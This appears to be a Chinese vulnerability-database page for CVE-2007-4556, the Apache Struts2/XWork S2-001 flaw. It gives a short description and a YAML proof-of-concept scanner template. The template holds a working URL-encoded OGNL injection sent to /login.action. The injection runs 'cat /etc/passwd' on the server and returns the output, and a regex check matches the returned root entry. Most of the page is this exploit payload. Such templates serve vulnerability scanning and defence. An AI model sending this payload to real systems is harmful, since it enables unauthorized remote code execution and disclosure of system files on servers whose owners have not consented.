CVE-2007-4556: OpenSymphony XWork/Apache Struts2 - Remote Code Execution S2-001

日期: 2025-09-01 | 影响软件: OpenSymphony XWork Apache Struts2 | POC: 已公开

漏洞描述

Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.

PoC代码[已公开]

id: CVE-2007-4556

info:
  name: OpenSymphony XWork/Apache Struts2 - Remote Code Execution S2-001
  author: pikpikcu
  severity: critical
  description: |
    Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.
  reference:
    - https://www.guildhab.top/?p=2326
    - https://nvd.nist.gov/vuln/detail/CVE-2007-4556
    - https://cwiki.apache.org/confluence/display/WW/S2-001
    - http://forums.opensymphony.com/ann.jspa?annID=54

rules:
  r0:
    request:
      method: POST
      path: /login.action
      body: |
        username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
    expression: response.status == 200  && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

相关漏洞推荐